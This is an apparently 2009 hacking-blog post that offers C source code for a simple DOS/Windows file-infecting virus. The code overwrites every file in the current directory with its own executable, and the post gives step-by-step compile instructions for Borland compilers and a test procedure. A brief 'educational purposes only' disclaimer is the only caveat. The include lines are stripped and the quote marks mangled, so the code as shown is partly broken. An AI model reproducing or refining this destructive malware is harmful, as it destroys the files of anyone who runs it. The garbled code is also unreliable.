How to Create a Computer Virus?

This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.
 
#include
#include
#include
#include
#include
#include

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:

BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4.All the infected files will be ready to reinfect
That’s it
WARNING: FOR EDUCATIONAL PURPOSES ONLY and DON'T USE THIS METHOD ON YOUR PC.

COMMENTS

BLOGGER: 1
Loading...
Hosted by HostGator
Name

Adsense Adsense hacks Advertising Affiliate Marketing Announcement Antivirus Application hacks Applications Backlinks Blog Blogger Blogger Features Blogger Help Blogger Roll Blogger Templates Blogger Widgets Blogging Bluetooth hack Bootable Browsers Business Cell phones Contest Cool tricks CSS Device Download Email Marketing Entertainment Facebook FeedBurner FIFA World CUP Files n Folders Flash Free software Fun with Windows Games Gmail hacks Google Google hacks Google Plus Graphic Hacking tools Hosting How to HTML Info Internet Tips ip address iphone hack Ipod hacks Javascript Keyword Research Make Money Blogging Make money online Mobiles Monetize Nokia hacking Page Rank Password Hacks PC Games PC Hacks Photoshop Promote site Reviews SEO Social Bookmarking Social Media Symbian hack Tips n Tricks Traffic Tutorials USB Virus Web 2.0 Web design Widget Windows Tricks WordPress WordPress Themes
false
ltr
item
Hack Tutors — Blogger Tricks, Blogging and Social Media Tips: How to Create a Computer Virus?
How to Create a Computer Virus?
Hack Tutors — Blogger Tricks, Blogging and Social Media Tips
https://www.hacktutors.info/2009/10/how-to-create-computer-virus.html
https://www.hacktutors.info/
https://www.hacktutors.info/
https://www.hacktutors.info/2009/10/how-to-create-computer-virus.html
true
7369343002377078183
UTF-8
Not found any posts VIEW ALL Readmore Reply Cancel reply Delete By Home PAGES POSTS View All RECOMMENDED FOR YOU LABEL ARCHIVE SEARCH ALL POSTS Not found any post match with your request Back Home Sunday Monday Tuesday Wednesday Thursday Friday Saturday Sun Mon Tue Wed Thu Fri Sat January February March April May June July August September October November December Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec just now 1 minute ago $$1$$ minutes ago 1 hour ago $$1$$ hours ago Yesterday $$1$$ days ago $$1$$ weeks ago more than 5 weeks ago Followers Follow THIS CONTENT IS PREMIUM Please share to unlock Copy All Code Select All Code All codes were copied to your clipboard Can not copy the codes / texts, please press [CTRL]+[C] (or CMD+C with Mac) to copy